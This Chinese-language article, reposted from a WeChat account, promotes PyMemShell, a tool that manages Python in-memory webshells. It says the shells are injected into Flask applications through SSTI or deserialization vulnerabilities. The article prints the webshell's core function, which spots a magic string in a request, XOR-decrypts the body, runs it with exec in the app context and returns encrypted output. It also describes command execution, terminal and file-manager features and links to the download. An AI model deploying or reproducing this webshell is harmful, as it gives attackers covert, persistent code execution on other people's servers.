【PyMemShell】Python内存马管理工具

admin 2024年6月29日02:29:45评论2 views字数 1960阅读6分32秒阅读模式

免责声明:该公众号分享的安全工具均来源于网络,仅供用户学习和研究使用,如用于其他用途,工具的使用者应自行承担相关法律风险及责任,本公众号与工具的开发者、提供者和维护者不对使用者使用工具的行为和后果负责,工具来自网络,安全性自测,侵权请联系删除。


工具简介


实现的一些基本功能都是参照了冰蝎工具的设计。Payload的写法都依赖于Python自带的一些库实现,支持Windows/Linux,交互过程的流量加密是异或。利用SSTI漏洞、反序列化漏洞注入内存马。

使用说明


启动UI界面(缺啥模块pip一下)

python3 MainUI.py

获取基础信息

【PyMemShell】Python内存马管理工具

命令执行窗口,多种命令执行模式

【PyMemShell】Python内存马管理工具

虚拟交互终端

有bug,主要是使用python中的subprocess.Popen模块获取输出流的时候并没有获取到完整的命令提示符行。在这个功能里,通过创建子线程以及实现非堵塞的输入输出管道来控制命令输入和回显输出,端口可以终止服务端的子线程。

【PyMemShell】Python内存马管理工具

文件管理器

【PyMemShell】Python内存马管理工具

Payload设计

Payload的写法全部采用了Python自带的模块,区分操作系统。交互连接shell的过程模拟了冰蝎的实现,通过脚本生成内存马函数并通过shell密码来预定义异或key,随机数种子,magic_str。其中magic_str用来在提交请求的时候判断是否为连接shell的请求,加解密的实现在RandXor.py中。

在虚拟终端和文件管理功能中,是将函数写好,在使用之前进行注入,后续的小功能就调用注入的函数。注入(也就是定义)函数的时候需要注意:内存马使用的是exec来执行代码,每次 exec 的执行会在一个新的局部命名空间内执行代码,也就是注入的函数和后续调用的函数不在同一个命名空间中,所以这里的解决方法是将注入的函数保存在flask应用的上下文中,然后通过exec执行调用的时候,传递全局命名空间将注入的函数传递进去。

比如下面的例子:shell_func就是内存马,exec(plaintext, parma)用来执行Payload,同时在注入内存马的时候也是使用的exec函数,并且将 flask 应用上下文中的一些变量(对象)传递了进来,比如request url_for.__globals__ current_app。同时将这些变量(对象)保存到了parma中,此外添加了resp用来获得执行结果,然后再执行Payload的时候传递了parma作为全局命名空间。

def shell_func():    import base64    import random    parma = {'resp': 'Error', 'app': app, 'gl': ulg}    if '%magic_str%' in request.get_data(as_text=True):        p_code = request.get_data(as_text=True).replace('%magic_str%', '')        ciphertext = base64.b64decode(p_code)        plaintext = bytearray(len(ciphertext))        rkey = %rkey%        key = base64.b64decode('%key%')        random.seed(rkey)        for i in range(len(ciphertext)):            plaintext[i] = ciphertext[i] ^ (random.randint(1, len(ciphertext)) & 0xff) ^ key[i % len(key)]            plaintext[i] = plaintext[i] ^ rkey        exec(plaintext, parma)        plaintext = str(parma['resp']).encode('utf-8')        ciphertext = bytearray(len(plaintext))        random.seed(rkey)        for i in range(len(plaintext)):            ciphertext[i] = plaintext[i] ^ rkey            ciphertext[i] = ciphertext[i] ^ (random.randint(1, len(plaintext)) & 0xff) ^ key[i % len(key)]        parma['resp'] = base64.b64encode(ciphertext).decode('utf-8')        return str(parma['resp'])    return parma['resp']

文章来源


文章内容来自以下用户

https://github.com/orzchen

下载地址

GitHub项目地址:https://github.com/orzchen/PyMemShell

原文始发于微信公众号(蛙王工具库):【PyMemShell】Python内存马管理工具

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月29日02:29:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PyMemShell】Python内存马管理工具https://cn-sec.com/archives/2894711.html

发表评论

匿名网友 填写信息